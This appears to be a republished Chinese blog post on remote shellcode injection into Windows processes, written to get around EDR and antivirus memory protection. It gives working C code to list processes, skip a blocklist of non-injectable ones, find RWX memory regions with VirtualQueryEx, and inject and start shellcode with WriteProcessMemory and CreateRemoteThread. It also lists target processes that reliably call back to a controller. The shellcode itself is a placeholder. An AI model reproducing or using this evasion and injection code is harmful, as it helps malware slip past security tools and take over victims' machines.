5

C语言-让注入进行到底

 3 years ago
source link: http://www.8sec.cc/index.php/archives/432/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

C语言-让注入进行到底

最近在学怎么干掉edr的内存保护

image-20201014001806531

查资料的过程中逐渐走上了一条不归路

image-20201013232919025
image-20201014001817468

然后查着查着就找到这篇文章Windows shellcode执行技术入门指南

RWX远程注入

其中介绍了一个@subTee分享的一个思路,通常我们执行shellcode需要给申请一段RWX的内存空间,还有一些免杀思路是先申请可读可写的空间,写入shellcode然后在设置内存空间可执行。但是这个操作会比较敏感(比如wd)。

1、遍历所有有权限的进程空间,搜索为RWX的内存空间。

2、利用OpenProcess打开目标进程。

3、WriteProcessMemory向目标内存写入shellcode。

4、CreateRemoteThread远程激活shellcode执行。

遍历所有进程句柄,获取Process信息

原文中代码 OpenProcess需要只有PROCESS_QUERY_INFORMATION

image-20201013235357398

但是调试过程中函数调用返回0,查资料后发现进程句柄需要有PROCESS_QUERY_INFORMATIONPROCESS_VM_READ的权限。

修改后代码:

    HMODULE hMod;
    DWORD cbNeeded;
    TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");

    HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);
    if (NULL != process)
    {
        if (EnumProcessModules(process, &hMod, sizeof(hMod), &cbNeeded))
        {
            GetModuleBaseName(process, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR));
        }
    }

szProcessName为获取的进程名,后面有些进程无法注入,所以单独提出进程名是比较重要的一步,后面可以利用一个黑名单列表屏蔽掉一些已知的无法注入的进程。

排除无法注入进程名

以下是在win10/win8.1中测试出的一些常见进程名称,win10中能够比较稳定上线的是devenv.exe、onedrive.exe、ServiceHub.Host.Node.x86.exe

/*
字符串转小写
*/
char *strlowr(char *str)
{
    char *orign = str;
    for (; *str != '\0'; str++)
        *str = tolower(*str);
    return orign;
}
/*
字符串搜索
*/
static int str_search(const char*key, const char**pstr, int num)
{
    int i;

    for (i = 0; i < num; i++)
    {
        //// 指针数组  p首先是个指针  然后指向类型是地址 所以是二级指针
        if (strcmp(*pstr++, key) == 0)
        {
            return 0;
        }

    }

    return -1;

}
const char* blacklist[] = { "systemsettings.exe","cmd.exe","svchost.exe","smascui.exe","vmtoolsd.exe","lsass.exe","dllhost.exe","conhost.exe","sihost.exe","vm3dservice.exe","explorer.exe","360settingcenter.exe","searchui.exe","taskhostw.exe","shellexperiencehost.exe","chsime.exe","360tray.exe","RuntimeBroker.exe","softmgrlite.exe" };
    const char* pdest = strlowr(szProcessName);
    int ret;
    ret = str_search(pdest, strlowr(blacklist), sizeof(blacklist) / sizeof(char*));//字符串对比判断

搜索进程中RWX内存部分

搜索大小为0x00000000到0x7FFFFFFFF(0x7FFFFFFFF是int32的最大地址)

利用VirtualQueryEx查询地址空间中的内存地址信息。

long MaxAddress = 0x7fffffff;
            long address = 0;
            int c = 0;
            do
            {
                MEMORY_BASIC_INFORMATION m;
                int result = VirtualQueryEx(process, (LPVOID)address, &m, sizeof(MEMORY_BASIC_INFORMATION));
                if (m.AllocationProtect == PAGE_EXECUTE_READWRITE)
                {
                    printf("RWX found at 0x%x\n", m.BaseAddress);
                    return m.BaseAddress;
                }
                else if (c > 50000) {
                    printf(".");
                    c = 0;
                }
                else {
                    c += 1;
                }
                if (address == (long)m.BaseAddress + (long)m.RegionSize)
                    break;
                address = (long)m.BaseAddress + (long)m.RegionSize;
            } while (address <= MaxAddress);

第七行int result = VirtualQueryEx(process, (LPVOID)address, &m, sizeof(MEMORY_BASIC_INFORMATION));

其中&m是向MEMORY_BASIC_INFORMATION结构的指针,用于接收内存信息。

m.AllocationProtect == PAGE_EXECUTE_READWRITE 判断允许读写和执行代码。

根据返回内存地址和进程id注入shellcode

void Exec(LPVOID address, DWORD processID)
{
    printf("[*] Exec Shellcode... ");
    char shellcode[] = { shellcode操作码};
    HANDLE procHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
    WriteProcessMemory(procHandle, address, shellcode, sizeof(shellcode), 0);
    LPVOID hThread = CreateRemoteThread(procHandle, 0, 0, (LPVOID)(address), 0, 0, 0);
    printf("Done \n");
}
image-20201014001630129
image-20201014001658195

本文链接:

http://www.8sec.cc/index.php/archives/432/

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK